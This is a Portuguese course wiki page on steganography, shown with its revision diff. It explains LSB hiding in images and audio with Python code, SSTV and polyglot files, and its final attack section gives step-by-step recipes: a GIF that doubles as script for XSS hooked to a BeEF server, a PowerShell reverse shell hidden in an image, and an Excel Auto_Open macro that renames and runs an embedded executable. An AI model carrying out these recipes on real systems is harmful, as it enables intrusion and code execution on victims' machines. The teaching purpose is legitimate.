Difference between revisions of "Esteganografia"

From Prof. Vinicius Vieira
Jump to navigation Jump to search
 
(6 intermediate revisions by the same user not shown)
Line 232: Line 232:
  
 
Nesta seção abordaremos o modus operandi de alguns ataques envolvendo o uso da Esteganografia.
 
Nesta seção abordaremos o modus operandi de alguns ataques envolvendo o uso da Esteganografia.
 +
  
  
 
=== Exfiltração de Dados ===
 
=== Exfiltração de Dados ===
 +
 +
Utilize o PacketWhisper, disponível em:
 +
 +
https://github.com/TryCatchHCF/PacketWhisper
 +
 +
Utilize o TCPDump (ou WireShark) pra capturar os pacotes gerados e conseguir extrair o conteúdo esteganografado.
 +
 +
  
 
=== XSS Stego ===
 
=== XSS Stego ===
 +
 +
No windows, faça o download do compilador YASM em:
 +
 +
http://yasm.tortall.net/Download.html
 +
 +
No Linux, instale via repositório, como por exemplo no Kali:
 +
 +
apt install yasm
 +
 +
E baixe um exemplo de um arquivo asm em:
 +
 +
https://gist.github.com/ajinabraham/f2a057fb1930f94886a3
 +
 +
Salvando como <pre>gifjs.asm</pre>
 +
 +
Utilizando o BeeF ou Xenotrix, suba o serviço e copie a URL xook. Abra o  <pre>gifjs.asm</pre> no seu editor de textos preferido, descendo até a última linha. Nestas, altere-as desta forma:
 +
 +
s = document.createElement("script");
 +
s.src = "http://127.0.0.1:5058/xook.js"; //Substitua pela sua URL xook
 +
document.body.appendChild(s);
 +
 +
Compile o arquivo asm para gerar uma imagem gif, assim:
 +
 +
yasm gifjs.asm -o img.gif
 +
 +
Crie uma página HTML que será usada como vetor para o ataque com esta sintaxe:
 +
 +
<img src="img.gif">
 +
<script src="img.gif"></script>
 +
 +
Compartilhe sua página e receba no seu BeeF ou Xenotrix a resposta feita pela requisição XSS gerada.
 +
 +
  
 
=== Image-based Stego Attack ===
 
=== Image-based Stego Attack ===
Line 257: Line 299:
  
 
Faça o upload da imagem (precisa ser no mínimo 1920x1200) gerada pelo PSImage e altere na saída gerada. Salve a saída (sal) em um script de PS, o qual será usado como vetor para o ataque.
 
Faça o upload da imagem (precisa ser no mínimo 1920x1200) gerada pelo PSImage e altere na saída gerada. Salve a saída (sal) em um script de PS, o qual será usado como vetor para o ataque.
 +
  
  
 
=== Polymorphic Files ===
 
=== Polymorphic Files ===
  
Neste ataque utilizaremos arquivos polimórficos e macros.
+
Neste ataque utilizaremos arquivos polimórficos (https://truepolyglot.hackade.org/) e macros.
  
./truepolyglot zipany --payload1file putty.exe --zipfile logo.zip saida.zip
+
./truepolyglot zipany --payload1file putty.exe --zipfile logo.zip saida.zip
  
 
Crie uma planilha no Excel e utilize a macro abaixo:
 
Crie uma planilha no Excel e utilize a macro abaixo:
 
  
 
  Sub Auto_Open()
 
  Sub Auto_Open()

Latest revision as of 14:18, 28 November 2019

Esteganografia em Imagens

Esteganografia Digital é a arte de ocultar informações no interior de arquivos como imagens, áudio e até mesmo vídeos. O foco da Esteganografia é camuflar a mensagem mascarando a sua presença.

A diferença principal entre criptografia e esteganografia, é o fato da primeira existir a presença de uma mensagem na forma codificada, enquanto que na esteganografia esta informação não é visível. Uma mensagem criptografada permite ser detectada e até mesmo modificada caso seja interceptada. Com apenas a utilização da criptografia, a informação cifrada pode ser ilegível, mas este fato remete a existência de um segredo naquela cifra.


  • Segurança e privacidade na internet por esteganografia em imagens (artigo: download)

Least Significant Bit

Às vezes abreviado como LSB, o bit menos significativo é o bit mais baixo em uma série de números em binário; o LSB está localizado na extremidade direita de uma string. Por exemplo, no número binário 10111001, o bit menos significativo é o mais à direita 1.

Lsb.png

A nível de estrutura da imagem, abaixo temos um esquema da posição dos bits da mesma em relação as áreas de dados. Repare que os locais ideais para se inserir dados esteganografados em imagens são:

Texto: metadados, área de dados ou após o fechamento da imagem
Visual: área de dados da imagem

Estrutura imagem.jpg


Análise de imagens

Ao analisar uma imagem com indícios de esteganografia, é ideal seguir este mindset para descoberta dos dados ocultos:

- Metadados (exiftool)
- Cabeçalho (file, xxd, strings, okteta)
- Assinatura (steghide)
- Visual (stegsolve, GIMP, Photoshop e etc)

Exercícios


Ferramentas

Esteganografia em audio

Como já comentamos, a Esteganografia é a arte de esconder "uma mensagem secreta" (seja ela texto, imagem, áudio e vídeo) em outro conteúdo, texto, imagem, áudio e vídeo.

Nesta seção iremos abordar a esteganografia em áudio, e para isso precisamos primeiramente entender o funcionamento dos sons e como estes são percebidos pelos seres humanos.

A chave para todos os métodos que discutiremos é o Sistema Auditivo Humano. Devido à sua anatomia, o ouvido humano pode captar as vibrações de uma membrana entre a faixa de freqüência de 20 Hz e 20 kHz. O intervalo real para uma pessoa pode variar com base em vários fatores, como idade, sexo e saúde. Por exemplo, o limite superior para um adulto de meia-idade geralmente é de 12 a 15 kHz e se degrada ainda mais com a idade. Além disso, o alcance da audição para os homens se degrada mais rapidamente do que o das mulheres.


Champ auditif en2.jpg


Já o alcance de audição para animais é diferente dos humanos. Por exemplo, com suas orelhas grandes, um elefante pode ouvir “infra-sons” (sons menores que o alcance humano de 20 Hz), como um batimento cardíaco de 1 ou 2 Hz. E da mesma forma, os cães podem ouvir "ultrassons" (sons mais altos que o limite humano de 20000 Hz), como um apito de cachorro.

Desta forma podemos inferir que uma das formas de esteganografar um conteúdo em um áudio seria inserir sons em frequências baixas (infrassons) e/ou altas (ultrassons).


Aplicação da Esteganografia em Ads

Materia 1.png

Em 2014, descobriu-se que uma empresa indiana de publicidade, a SilverPush, estava usando meios inescrupulosos para rastrear usuários em vários dispositivos. Todos os aplicativos que usaram o SDK do SilverPush puderam ouvir os “sinalizadores de áudio” através do microfone do telefone para facilitar um rastreamento mais eficaz do hábito do usuário. Esses áudios eram secretamente transmitidas como ondas sonoras ultrassônicas vindas do anúncio da empresa veiculado na televisão ou em um navegador da Web executado em um computador. Esses gatilhos secretos eram, obviamente, imperceptíveis para os proprietários dos dispositivos.


Materia 2.png

No início de 2018, a Amazon anunciou que havia tomado medidas para garantir que os dispositivos do Amazon Echo na casa dos espectadores não fossem ativados inadvertidamente durante o anúncio do Super Bowl para dispositivos Alexa. Especula-se que a Amazon fez uso inteligente da faixa de freqüência acústica para conseguir isso.

O ponto a ser observado aqui é que o mesmo conceito pode ser estendido a ondas de áudio inaudíveis de fontes aparentemente inócuas, como a televisão, que podem interagir com dispositivos domésticos inteligentes sem o conhecimento dos proprietários do dispositivo.


O Caso do The Mosquito

Você já ouviu falar do The Mosquito? Ele um dispositivo eletrônico usado em alguns países para impedir que os jovens se reúnam, principalmente fora de lojas e mercados, e espera reduzir o comportamento anti-social, como vadiagem e vandalismo. Funciona com base no princípio simples de que o alcance da audição para os humanos se deteriora com a idade. Assim, os ultrassons que o The Mosquito produz só podem ser ouvidos pelos jovens. Para causar um leve desconforto, essas ondas de áudio também podem ser transmitidas em níveis mais altos de pressão sonora.

Aproveitando-se do fato de que os celulares geralmente são capazes de produzir e gravar ultrassons, alguns adolescentes gravaram os sons do The Mosquito em seus smartphones e começaram a usá-lo como toque de chamada para poder usar telefones nas salas de aula. Este toque também está comercialmente disponível agora.

O ponto a ser levado em conta é que, se o público-alvo ou o destinatário da mensagem for jovem, você poderá usar intervalos de ultrassom próximos para codificar sua mensagem “secreta”.

Abaixo está uma amostra de áudio para replicar o efeito "Toque do Mosquito". Você pode usá-lo para ver se consegue ouvir o som infame do “Teen Buzz”

17,4 kHz para faixa etária abaixo de 23 anos:

clique aqui para ouvir

21 kHz para faixa etária abaixo de 20 anos:

clique aqui para ouvir


Métodos de Esteganografia em áudio

Assim como em imagens, na Esteganografia em áudio também utilizamos o método LSB explicado no início desta página. Porém note que a mudança no LSB afeta a cor tão levemente que a mudança na cor geralmente não é perceptível ao olho humano. No entanto, o ouvido humano é mais sensível a pequenas alterações no som e, portanto, o "ruído" que estamos adicionando teria uma chance maior de ser notado. Para superar esse problema dessa forma trivial do algoritmo LSB, muitos pesquisadores sugeriram variantes que aumentam a robustez no domínio de áudio.


Implementação do algoritmo LSB em Python

Vamos implementar esse método com alguns dados de som como nosso sinal de portadora que carregaria nosso texto secreto. Como nossos dados de som, utilizaremos a amostra de música abaixo, que será a portadora da nossa mensagem de texto secreta, "Peter Parker é o Homem-Aranha!".

Arquivo de áudio inicial

A manipulação de bits subjacente no LSB é bastante simples. Nós executaremos a operação AND lógica entre cada byte de áudio da portadora (a “música”) e uma máscara de bits que redefine o LSB do byte portador.

LSB audio 1.png

Em seguida, executaremos uma operação OR lógica simples entre o byte transportador modificado e o próximo bit (0 ou 1) da mensagem secreta.

LSB audio 2.png

Usaremos o formato de arquivo de áudio .wav para nossa música de operadora. O Wave é um dos formatos de compactação sem perdas mais populares. O Python possui uma biblioteca nativa chamada “wave” que nos fornece ferramentas básicas para manipular dados de áudio. Abaixo do código é usado pelo remetente para incorporar a mensagem de texto secreta. O código é suficientemente comentado para explicar o processo passo a passo.

# We will use wave package available in native Python installation to read and write .wav audio file
import wave
# read wave audio file
song = wave.open("song.wav", mode='rb')
# Read frames and convert to byte array
frame_bytes = bytearray(list(song.readframes(song.getnframes())))

# The "secret" text message
string='Peter Parker is the Spiderman!'
# Append dummy data to fill out rest of the bytes. Receiver shall detect and remove these characters.
string = string + int((len(frame_bytes)-(len(string)*8*8))/8) *'#'
# Convert text to bit array
bits = list(map(int, ''.join([bin(ord(i)).lstrip('0b').rjust(8,'0') for i in string])))

# Replace LSB of each byte of the audio data by one bit from the text bit array
for i, bit in enumerate(bits):
    frame_bytes[i] = (frame_bytes[i] & 254) | bit
# Get the modified bytes
frame_modified = bytes(frame_bytes)

# Write bytes to a new wave audio file
with wave.open('song_embedded.wav', 'wb') as fd:
    fd.setparams(song.getparams())
    fd.writeframes(frame_modified)
song.close()

Como a saída do código acima, obtemos o arquivo de áudio abaixo que contém o texto secreto embutido nele. Há algum ruído perceptível neste arquivo de áudio. Como um experimento, você poderia tentar incorporar cada segundo ou terceiro byte de áudio da operadora com um bit do segredo e ver se isso obtém um resultado mais robusto.

Arquivo de áudio final

Para extrair o segredo desse áudio, o receptor deve executar o código Python abaixo.

# Use wave package (native to Python) for reading the received audio file
import wave
song = wave.open("song_embedded.wav", mode='rb')
# Convert audio to byte array
frame_bytes = bytearray(list(song.readframes(song.getnframes())))

# Extract the LSB of each byte
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
# Convert byte array back to string
string = "".join(chr(int("".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))
# Cut off at the filler characters
decoded = string.split("###")[0]

# Print the extracted text
print("Sucessfully decoded: "+decoded)
song.close()


Implementando Esteganografia em áudio utilizando SSTV

SSTV é um acrônimo para Slow-Scan Television, que é um método muito popular na transmissão de rádio para enviar dados de imagem a longa distância via propagação ionosférica. O SSTV permite a transmissão de imagens em locais em que há pouca largura de banda disponível, por exemplo, na linha Pluste Old Telephone Service (POTS). Na verdade, a missão lunar Apollo 11 usava SSTV para transmitir imagens de volta à Terra.


Apollo.jpeg


O SSTV é baseado na modulação de freqüência analógica, que analisa o brilho de cada pixel e aloca uma freqüência de áudio diferente para ele. Normalmente, o SSTV é usado para transferir imagens em escala de cinza, também podemos usá-lo para transferir imagens coloridas com alguma perda na resolução da imagem.

O wiki do Amateur-Radio tem uma lista de alguns dos softwares SSTV disponíveis em diferentes plataformas. András Szentkirályi criou um pacote Python chamado PySSTV que gera arquivos de onda modulada SSTV para arquivos de imagem. Você pode usar o pip para instalar este pacote.

pip install pysstv 

Depois de instalar o pacote, você pode executar o comando abaixo para converter um arquivo de imagem (image.jpg) em um arquivo de áudio modulado SSTV (audio.wav).

python -m pysstv /path/to/image.jpg /path/to/audio.wav

O produto da nossa codificação foi esse: áudio

Você pode ainda especificar os modos e outros parâmetros ao converter a imagem.

Agora você pode reproduzir este áudio no seu computador usando qualquer reprodutor de mídia. Porém para decodificar o áudio eu recomendaria a instalação de algum aplicativo em seu celular que possa extrair a imagem de volta ouvindo o nosso “audio.wav” através do microfone do telefone.

Um excelente app para Android é o Robot36, disponível na PlayStore.

Como exemplo, codifiquei a imagem abaixo usando PySSTV e obtive o áudio codificado.

Hackerman.png

Esteganografia baseada em modulação de frequência

...continua ;)

Esteganografia em vídeo

em breve


Polyglots (arquivos amórficos)

Disponível no GitHub:

git clone https://git.hackade.org/truepolyglot.git/

Exemplo de uso:

./truepolyglot szippdf --pdffile a3.pdf --zipfile gotcha.zip --acrobat-compatibility 6.pdf


./truepolyglot zipany --payload1file putty.exe --zipfile logo.zip saida.zip


Ataques envolvendo Esteganografia

Nesta seção abordaremos o modus operandi de alguns ataques envolvendo o uso da Esteganografia.


Exfiltração de Dados

Utilize o PacketWhisper, disponível em:

https://github.com/TryCatchHCF/PacketWhisper

Utilize o TCPDump (ou WireShark) pra capturar os pacotes gerados e conseguir extrair o conteúdo esteganografado.


XSS Stego

No windows, faça o download do compilador YASM em:

http://yasm.tortall.net/Download.html

No Linux, instale via repositório, como por exemplo no Kali:

apt install yasm

E baixe um exemplo de um arquivo asm em:

https://gist.github.com/ajinabraham/f2a057fb1930f94886a3

Salvando como

gifjs.asm

Utilizando o BeeF ou Xenotrix, suba o serviço e copie a URL xook. Abra o

gifjs.asm

no seu editor de textos preferido, descendo até a última linha. Nestas, altere-as desta forma:

s = document.createElement("script");
s.src = "http://127.0.0.1:5058/xook.js"; //Substitua pela sua URL xook
document.body.appendChild(s);

Compile o arquivo asm para gerar uma imagem gif, assim:

yasm gifjs.asm -o img.gif

Crie uma página HTML que será usada como vetor para o ataque com esta sintaxe:

<img src="img.gif">
<script src="img.gif"></script>

Compartilhe sua página e receba no seu BeeF ou Xenotrix a resposta feita pela requisição XSS gerada.


Image-based Stego Attack

Neste ataque utilizaremos o script em PowerShell escrito por XX, disponível no Github em:

https://github.com/peewpw/Invoke-PSImage/blob/master/Invoke-PSImage.ps1

E como payload, utilizaremos um TCP Shell Reverse em PowerShell, disponível em:

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1

No PowerShell:

Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script <payload> -Image <imagem_in.jpg> -Out <imagem_out.png> -Web

Faça o upload da imagem (precisa ser no mínimo 1920x1200) gerada pelo PSImage e altere na saída gerada. Salve a saída (sal) em um script de PS, o qual será usado como vetor para o ataque.


Polymorphic Files

Neste ataque utilizaremos arquivos polimórficos (https://truepolyglot.hackade.org/) e macros.

./truepolyglot zipany --payload1file putty.exe --zipfile logo.zip saida.zip

Crie uma planilha no Excel e utilize a macro abaixo:

Sub Auto_Open()
   Name "C:\%USER%\Downloads\saida.zip" As "C:\%USER%\Downloads\saida.exe"
   Shell ("C:\%USER%\Downloads\saida.exe ")
End Sub